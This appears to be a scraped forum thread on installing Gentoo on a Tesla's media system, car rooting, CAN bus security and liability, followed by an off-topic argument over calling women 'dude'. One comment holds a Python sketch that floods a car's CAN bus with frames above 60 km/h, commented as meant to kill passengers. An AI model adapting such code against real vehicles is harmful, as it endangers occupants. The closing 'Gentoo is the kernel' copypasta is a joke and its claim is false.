Gentoo Tesla – T2 Edition
su-tesla.space
su-tesla.space
Does autopilot still work? Do the airbags still deploy? Does the brake still work?
I cringe from the PR implications as I say this but really I fully supported Jeb! when he shrugged about one of the shootings. If we want freedom, we will have some missteps. I kind of wish we could say the same about religious extremists but that ship was always under command of the same bigots who controlled the conversation during the red scare.
They were able to successfully get root access to the car's system (not chroot, real full root access) and with that they were able to fully access to the car's API within Tesla OS. They even showed a video about one of the guys driving the car at low speed and the other one remotely accessing to the car's Linux shell by SSH and shutting down the whole car while the first guy was riding.
The interesting thing is that for higher speeds, for example more than 50 km/h, the car seems to override any of the Linux systems and the root access becomes useless, it stops working.
In another words, the car is able to decouple itself from the Tesla OS.
You can check the presentation from those guys here: https://youtu.be/KX_0c9R4Fng?t=39m51s
For example: Remote door unlock command issued by the mobile phone app will not work if the car is moving.
Say you installed a media player. Now you'll have to convince a jury that you didn't install a media player just so you could watch videos while driving, and therefore were distracted at the time.
I had a SatNav where an "unable to detect park gear" warning always showed up (I had a stick shift, so it the wires were connected to the hand-break). The guy at the shop couldn't figure out why it was shorting so he just disabled it and said, "Don't watch DVDs while driving."
You know I never did use the DVD player in there ever, not even while parked, in the 5 years I had it.
[0]: http://www.thetruthaboutguns.com/2011/01/brad-kozak/the-mass...
NB: I have almost no idea how liability and insurance works in the US.
But still not quite for the faint of heart.
Even if the media subsystem is running on dedicated hardware, the fact that it's networked with the rest of the car means that there's still a risk of it being used to gain access to other components.
I don't think anyone was claiming anything contrary to that, just that replacing the software running the media dash isn't going to fubar your car.
"Your honor, we were not responsible for that AutoPilot crash because the driver did an unauthorized modification of the car's software!"
In effect, the manufacturer can only deny warranty claims for a specific part iff the consumer's aftermarket repair/modifications were responsible for the warrantied part failing. i.e. "I tinted the windows, and now the brakes are failing" does not result in warranty claims on the brakes being denied. However, "I replaced the brake pads [with faulty pads], and now the brake rotors are failing" can result in a denied warranty claim.
Plus, in a connected car situation, its going to be very difficult to prove that one thing didn't cause another.
Because you rooted the media control system, your unapproved software had the ability to speak to the brake control system and apply more-than-designed force to the brakes and thereby caused this damage.
Could you be forced into proving a negative?
That said, I think most of these things happen in the context of class action suits. In a class action, its going to be hard to blame or exclude the 1% of the class that has rooted their car.
The trouble is that with mechanical parts it is usually very easy to see connections between elements - not so in digital world. I think the direction the car makers should take is to develop "microservices" with strict APIs, strict access lists and a guardian which double-checks if some requested operation really makes sense. That way if you root a media center you can't mess with the engine from there.
EDIT: I see from other comments that Tesla apparently does something similar. Too bad it's not standardized and open, but at least approach is right...
I don't know enough about CAN bus to speak authoritatively about this, nor do I know the specifics of what the dashboard has access to, but given that the dash displays information like charge level and speed, I'd guess that the dash is getting that information directly from the CAN.
And I do know that CAN bus is very vulnerable. [1][2]... So you may be able to kill someone through /dev/can0, via a small program running in that chroot.
Eg: In Python
from canard import can
from canard.file import jsondb
from canard.hw import socketcan
# create and start device
dev = socketcan.SocketCanDev("/dev/can0")
dev.start()
# create our DoS frame
frame = can.Frame(id=0)
frame.dlc = 8
# load tesla can spec, eg: from [4]
# CAN3, ID 0x0256
b = parser.parse('tesla.json')
while True:
rec = dev.recv()
speedo = b.parse_frame(rec)
# assassinate passengers
if (speedo.speed > 60):
while True:
dev.send(frame)
[1]: https://www.blackhat.com/docs/asia-15/materials/asia-15-Even...[2]: http://security.stackexchange.com/questions/88724/is-there-a...
[3]: https://github.com/ericevenchick/CANard
[4]: http://skie.net/uploads/TeslaCAN/Tesla%20Model%20S%20CAN%20D...
What do you mean by that? I would think that once you get UID=0 nothing can stop you from doing whatever you want to that device.
You would have to get UID=0 on the canbus gateway to make requests 'willy nilly' on the critical canbus. Having UID=0 on the media centre would only help in making willy nilly requests to the gateway.
edit: clarity
As a tesla owner, I do wish they would hurry up and publish their app platform. They do have apps that they wrote themselves, that come with the car.
And I really wish they'd update their web browser, and even more wish they supported linux. Maybe the chromebook os support will be secure enough for android apps that even tesla could use it.
There's as many pros on one side as cons on the other.
If the Toyota code would be public we'd hear a lot of guys screaming and if you own the car and have the knowledge I guess you are keen on looking. Sure lots of noise for manufactures and likely new attack vectors but in the end public universities could look at it. On the other hand you'll end up with OpenSSL for cars.
However it should be still safe when public that what should be the design goal. However what you read about embedded stuff in cars and airplanes...OSS would be likely an improvement. I for one would like to file a pull request against the A380 firmware :)
That is, the 'model' is the truth and the IP. The generated code is spaghetti, the vendors components are black boxes, and their 'code' is nothing more than another locked subsystem in the model.
Let's say in an ideal world, these mission critical systems must be opened - what do you propose everyone's business model should be? If everyone must see each others models... where is the free market competitive advantage to be gained?
I imagine the ideal solution would be using two airgapped computers, one for the main car system, one for the media stuff, and then keep the servers from which they receive updates, and the authorization for those servers completely separated as well, with the updates done by different people, too.
But I imagine the vast majority of car makers don't do anything close to that, and probably not even Tesla does it like that. BMW wasn't even sending its OTA updates over HTTPS until 2 years ago.
I imagine most right now, if they even isolate the media and the main systems at all, probably do it through virtualization to "cut costs", so they don't even use two different chips. Heck, they may even use "containers" to cut costs even further.
And this is why I won't be a self-driving car beta tester in the first 10 years. You just can't trust these guys when up until now they didn't even have a clue about software security, to do this properly. And it's probably why "Silicon Valley car makers" will end up winning over the traditional car makers eventually, too.
The only software I actually can trust my life with are the ones used by NASA, if any of the car company abide / follows NASA's guidelines, they would already use that as part of the PR
so none yet
All they had to was reprogram one of controllers and full access was granted.
Even if you don't reprogram controllers you don't have guarantee that some components won't go high wire when your modded version dies something different.
The best approach would be if manufacturers would provide an air gap, but they probably won't, to save costs.
All the more reason to root the device.
Would love to hear more about it from anyone who has more information.
https://users.ece.cmu.edu/~koopman/pubs/koopman14_toyota_ua_...
That picture of the ETCS board has just reminded me of a time my friend gave me a tour of the Mclaren F1 workshop – he worked on the testing team.
They'd just spent a couple of weeks tracking down an issue where the engine had misfired during one of the races (like, once or twice). Turns out that the tracks on one of the control circuit boards were a tiny bit too close and there had been an arc. I couldn't believe how much work they had put into figuring it out.
[0]: http://www.formula1.com/content/fom-website/en/championship/...
edit: grammar fix
it is the same thing.
So it's like running an X server and external display on your Android in a chroot, so it looks like you're running Ubuntu and Android.
Apparently we have long passed the era when making coffee was something novel for Emacs. Now is the time for
M-x driveBlew my mind he pulled that out.
Google chose engineers for ChromeOS, and those engineers chose Gentoo. CoreOS also uses portage IIRC. Gentoo isn't for everyone, but I think there's probably a correlation between people who have used Gentoo (or similar) at some point in their life and people who know Linux thoroughly.
[1]: https://www.quora.com/Why-is-Chrome-OS-built-upon-Gentoo-and...
Internet culture throwback.
While the hassle of compiling and all the effort it took is laughable looking back on it, I still credit it for teaching me the command line and unix in general, these are skills I carry though with me to this day.
I've thought about doing something like this with my center nav, but it deals with setting the time on the mirror among other things. Still, I can't get updated maps without paying the dealer a few hundred dollars to put a cd in it. I end up just using openStreetMaps on my rooted phone. This is a sad state of things. It feels like a feature-phone. Hopefully the future is brighter.
Combined with the stated 3 day compile time, I'm thinking yes? Maybe?
"All those USE flags, CFLAGS, and optimizations are going to add speed to my car. My 5 second 0-60 will be faster than your 5 second 0-60!"
I even took some of my favorites from there and modified them to reference Tesla, and that's what the captions are.
Model 3 is ten times that.
Hence 4th or 5th hand used.
I expect I'll have to rebuild the battery pack myself.
By then there should be really good documentation and cheap chinese knockoffs of the cells (that last half as long as oem).
I look forward to the day that I can sit in my car with my friends, smoking something, watching a movie, and letting the self driving vehicle wander around LA while we look for interesting places to stop and explore.
I would never use my couch again.
Edit: If tesla begins making showers I may not even need an apartment.
> I've never really liked Gnome. I'm a KDE girl myself.
[Edit, to clarify:]
first person: me
second person: you
third person: him/her
[Edit] and I now realize that this whole subthread could have been avoided had my original comment lead with "In this case yes, but...", live and learn :P
That aspect, that it was at one time, or still is, gender-specific, is what makes it inappropriate to call a person who doesn't identify with that gender. Like many other words which can apply to more than one kind of person, you have to think about how the listener will interpret it, not how you want them to interpret it.
Why do you think you can dictate what _is_ inappropriate for the rest of mankind?
And I don't get to do anything other than dictate my own behavior, and try to express an idea. Sorry if that came off as dictatorial.
What I meant to say was: Anyone who would rather treat someone how they personally want them to be treated, rather than how the other person wishes to be treated, has forgotten The Golden Rule: https://en.wikipedia.org/wiki/Golden_Rule
In terms of human relations in general, and in a very extreme sense, it's the social contract that allows people to co-exist without killing each other. Would you like someone to murder you because you insulted them? If not, it's best to treat people in the same way, that is, not murder them because they insult you. Or, perhaps, just not insult each other, lest you murder each other. But the point is you're caring about how the other person responds to what you do, because that may affect you at some point.
On a purely empathetic level, treating someone how they wish to be treated makes them feel better. That has a lot of benefits, for you and for them. And it basically doesn't cost you anything, other than the extra second it takes to be mindful of how you're treating someone.
And in general people who only think of themselves are selfish dicks. I certainly can't dictate to anyone not to be a dick. But it's in their interest not to be a dick.
For example, by the "Golden Rule", I'd want to be called a "dude" if I were a girl, because I consider it a sign of equality.
You can feel free to disagree with that, but if it's how I'd want to be treated, then by the power of the Golden Rule, I should call girls "dudes".
I'd even go so far as to argue that the "Golden Rule" is doing precisely what you just said was bad -- it puts too much focus on you ("how would you want to be treated").
You are not every girl on the planet. Some girls don't like being called dude. With those particular girls, if you call them dude, you are being rude. If you want them to be rude right back to you then I guess keep doing what you're doing.
The Golden Rule totally accounts for edge cases. If someone is a masochist, you ask them if they are a masochist, and then you ask them if they want to be treated a certain way. If someone is from a different culture, you can learn about different cultures to [for example] learn which hand to shake hands with, or you can ask if you aren't sure.
If you want to be treated like an asshole, then be an asshole. But the rule is meant to guide you towards not being an asshole. It doesn't put too much focus on you, it puts just enough focus to hopefully prevent you from getting yourself killed by an angry woman who really doesn't like being called "dude", or getting the crap kicked out of you in a country where shaking hands with the wrong hand is a huge offense. Does this make more sense?
You're saying something that isn't what's in the Golden Rule.
But how do you do that? The rule does not cover that at all. But somehow you figure out how, and they give you water. In gratitude, as an interpretation of the rule, you give them flint to make fire. The nomads, it turns out, will use the flint to make a fire and cauterize a wound that would otherwise have gotten infected.
Sometimes you will be the nomads, and sometimes the traveler. The rule is really just a reminder to think about this situation at all times; it doesn't spell it out for you.
It was circular reasoning because you were saying if A is B (some girls like to be called dude), then B is A (you should call girls dude). You're using the premise to prove itself, like "I breathe air because I can breathe air". It provides no evidence of why this is so, nor account for any extra factors (if A is "some girls like being called dude", there must be a C: the rest of the girls that don't like being called dude. But C is never addressed)
I just don't think "treat people with kindness" is what the Golden Rule says. That might be the intent of the people who reference it, but the Golden Rule literally says, "Treat others how you wish to be treated", which makes the assumption that "how you wish to be treated" is universal. I agree, realistically one should treat people how they wish to be treated, but that's not what the Golden Rule says.
My point re: calling girls dudes is that you simply cannot know if a girl does or doesn't want to be called a dude unless they express a preference, which may or may not happen. Some girls like to be called dudes (A), and we should do to others what they like us to do to them (B), therefore we should call those girls dudes (C). (B) is not the Golden Rule as such, because how I'd like to be treated doesn't apply to someone else (see nomad flint worshipers above).
I just want to be clear that what you're saying is not what I have issue with -- yes, we should definitely treat others in the manner in which they'd prefer to be treated. My issue is entirely with the characterization of this as the "Golden Rule". I don't believe that's what the text of the Golden Rule reads as.
Why interpret it as "do what they would want, not what you would want" ? Because at its root it's asking you to have empathy and compassion. You simply can't achieve both those things without putting yourself in their shoes, and then trying to feel and understand the way they do. At that point, when you are them, you act in a way they would want, and it becomes a compassionate act.
When I was saying before that this benefits you in the end, that's true, though there is no actual reciprocity expected in this rule. It really is all about just doing good for another person.
Ask a theologian about it some time. They explain it better.
I interpret the Golden Rule as it is written -- a bad rule, from an intolerant time where everyone was expected to be the same. It never really applied, but now we have the cognitive tools to identify it as bogus.
I'm really looking forward a future where I have ownership and control over my cars operating system to the same degree that I own the engine in my camaro.
Also, I apologize for automatically defaulting to you being a he-dude and not a she-dude.
Which is exactly equal in impressiveness.
Dude is genderless! I'm just as much a dude as you are. Also, it doesn't really bother me :)
Many computer users run a modified version of the GNU system every day, without realizing it. Through a peculiar turn of events, the version of GNU which is widely used today is often called “Gentoo”, and many of its users are not aware that it is basically the GNU system, developed by the GNU Project.
There really is a Gentoo, and these people are using it, but it is just a part of the system they use. Gentoo is the kernel: the program in the system that allocates the machine’s resources to the other programs that you run. The kernel is an essential part of an operating system, but useless by itself; it can only function in the context of a complete operating system. Gentoo is normally used in combination with the GNU operating system: the whole system is basically GNU with Gentoo added, or GNU/Gentoo. All the so-called “Gentoo” distributions are really distributions of GNU/Gentoo.
As far as I'm concerned, Gentoo is the most underappreciated distro. I'm a Gentoo dev, but that's not why I'm saying so -- the causal relation is reversed!